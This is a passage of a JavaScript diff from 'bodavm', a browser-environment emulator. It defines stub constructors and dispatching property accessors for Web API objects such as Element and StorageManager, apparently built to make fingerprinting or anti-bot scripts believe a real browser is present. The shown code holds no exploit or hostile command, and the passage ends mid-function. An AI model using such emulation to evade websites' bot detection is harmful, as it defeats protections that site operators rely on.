"AudioNode", "disconnect", arguments); + } +}, 'prototype'); +// AudioScheduledSourceNode对象 + +bodavm.memory.globalobj['AudioScheduledSourceNode'] = function AudioScheduledSourceNode() { + console.log_copy('AudioScheduledSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioScheduledSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioScheduledSourceNode'], "AudioScheduledSourceNode"); +bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioScheduledSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "stop", arguments); + } +}, 'prototype'); +// StorageManager对象 + +bodavm.memory.globalobj['StorageManager'] = function StorageManager() { + console.log_copy('StorageManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StorageManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageManager'], "StorageManager"); +bodavm.memory.globalobj['StorageManager'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['StorageManager'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('StorageManager', "estimate", { + configurable: true, + enumerable: true, + writable: true, + value: function estimate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "estimate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persisted", { + configurable: true, + enumerable: true, + writable: true, + value: function persisted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persisted", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "getDirectory", { + configurable: true, + enumerable: true, + writable: true, + value: function getDirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "getDirectory", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persist", { + configurable: true, + enumerable: true, + writable: true, + value: function persist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persist", arguments); + } +}, 'prototype'); +// Worklet对象 + +bodavm.memory.globalobj['Worklet'] = function Worklet() { + console.log_copy('Worklet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Worklet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worklet'], "Worklet"); +bodavm.toolsFunc.defineProperty('Worklet', "addModule", { + configurable: true, + enumerable: true, + writable: true, + value: function addModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worklet'].prototype, "Worklet", "addModule", arguments); + } +}, 'prototype'); +// Element对象 + +bodavm.memory.globalobj['Element'] = function Element() { + console.log_copy('Element 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Element)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Element'], "Element"); +bodavm.memory.globalobj['Element'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Element'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Element', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "localName", { + configurable: true, + enumerable: true, + get: function localName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "localName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "tagName", { + configurable: true, + enumerable: true, + get: function tagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "tagName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "className", { + configurable: true, + enumerable: true, + get: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_get", arguments); + }, + set: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "classList", { + configurable: true, + enumerable: true, + get: function classList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_get", arguments); + }, + set: function classList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "slot", { + configurable: true, + enumerable: true, + get: function slot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_get", arguments); + }, + set: function slot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attributes", { + configurable: true, + enumerable: true, + get: function attributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "shadowRoot", { + configurable: true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "part", { + configurable: true, + enumerable: true, + get: function part() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_get", arguments); + }, + set: function part() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "assignedSlot", { + configurable: true, + enumerable: true, + get: function assignedSlot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "assignedSlot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "innerHTML", { + configurable: true, + enumerable: true, + get: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_get", arguments); + }, + set: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "outerHTML", { + configurable: true, + enumerable: true, + get: function outerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_get", arguments); + }, + set: function outerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTop", { + configurable: true, + enumerable: true, + get: function scrollTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_get", arguments); + }, + set: function scrollTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollLeft", { + configurable: true, + enumerable: true, + get: function scrollLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_get", arguments); + }, + set: function scrollLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollWidth", { + configurable: true, + enumerable: true, + get: function scrollWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollHeight", { + configurable: true, + enumerable: true, + get: function scrollHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientTop", { + configurable: true, + enumerable: true, + get: function clientTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientLeft", { + configurable: true, + enumerable: true, + get: function clientLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientWidth", { + configurable: true, + enumerable: true, + get: function clientWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientHeight", { + configurable: true, + enumerable: true, + get: function clientHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecopy", { + configurable: true, + enumerable: true, + get: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_get", arguments); + }, + set: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecut", { + configurable: true, + enumerable: true, + get: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_get", arguments); + }, + set: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforepaste", { + configurable: true, + enumerable: true, + get: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_get", arguments); + }, + set: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onsearch", { + configurable: true, + enumerable: true, + get: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_get", arguments); + }, + set: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "elementTiming", { + configurable: true, + enumerable: true, + get: function elementTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_get", arguments); + }, + set: function elementTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenchange", { + configurable: true, + enumerable: true, + get: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_get", arguments); + }, + set: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenerror", { + configurable: true, + enumerable: true, + get: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_get", arguments); + }, + set: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenchange", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_get", arguments); + }, + set: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenerror", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_get", arguments); + }, + set: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_get", arguments); + }, + set: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAtomic", { + configurable: true, + enumerable: true, + get: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_get", arguments); + }, + set: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAutoComplete", { + configurable: true, + enumerable: true, + get: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_get", arguments); + }, + set: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBusy", { + configurable: true, + enumerable: true, + get: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_get", arguments); + }, + set: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBrailleLabel", { + configurable: true, + enumerable: true, + get: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_get", arguments); + }, + set: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBrailleRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_get", arguments); + }, + set: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaChecked", { + configurable: true, + enumerable: true, + get: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_get", arguments); + }, + set: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColCount", { + configurable: true, + enumerable: true, + get: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_get", arguments); + }, + set: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColIndex", { + configurable: true, + enumerable: true, + get: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_get", arguments); + }, + set: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColSpan", { + configurable: true, + enumerable: true, + get: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_get", arguments); + }, + set: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaCurrent", { + configurable: true, + enumerable: true, + get: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_get", arguments); + }, + set: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDescription", { + configurable: true, + enumerable: true, + get: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_get", arguments); + }, + set: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDisabled", { + configurable: true, + enumerable: true, + get: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_get", arguments); + }, + set: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaExpanded", { + configurable: true, + enumerable: true, + get: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_get", arguments); + }, + set: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHasPopup", { + configurable: true, + enumerable: true, + get: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_get", arguments); + }, + set: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHidden", { + configurable: true, + enumerable: true, + get: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_get", arguments); + }, + set: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaInvalid", { + configurable: true, + enumerable: true, + get: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_get", arguments); + }, + set: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaKeyShortcuts", { + configurable: true, + enumerable: true, + get: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_get", arguments); + }, + set: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLabel", { + configurable: true, + enumerable: true, + get: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_get", arguments); + }, + set: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLevel", { + configurable: true, + enumerable: true, + get: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_get", arguments); + }, + set: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLive", { + configurable: true, + enumerable: true, + get: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_get", arguments); + }, + set: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaModal", { + configurable: true, + enumerable: true, + get: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_get", arguments); + }, + set: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiLine", { + configurable: true, + enumerable: true, + get: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_get", arguments); + }, + set: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiSelectable", { + configurable: true, + enumerable: true, + get: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_get", arguments); + }, + set: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaOrientation", { + configurable: true, + enumerable: true, + get: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_get", arguments); + }, + set: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPlaceholder", { + configurable: true, + enumerable: true, + get: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_get", arguments); + }, + set: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPosInSet", { + configurable: true, + enumerable: true, + get: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_get", arguments); + }, + set: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPressed", { + configurable: true, + enumerable: true, + get: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_get", arguments); + }, + set: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaReadOnly", { + configurable: true, + enumerable: true, + get: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_get", arguments); + }, + set: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRelevant", { + configurable: true, + enumerable: true, + get: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_get", arguments); + }, + set: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRequired", { + configurable: true, + enumerable: true, + get: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_get", arguments); + }, + set: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_get", arguments); + }, + set: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowCount", { + configurable: true, + enumerable: true, + get: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_get", arguments); + }, + set: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowIndex", { + configurable: true, + enumerable: true, + get: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_get", arguments); + }, + set: function ariaRowIndex() { + return 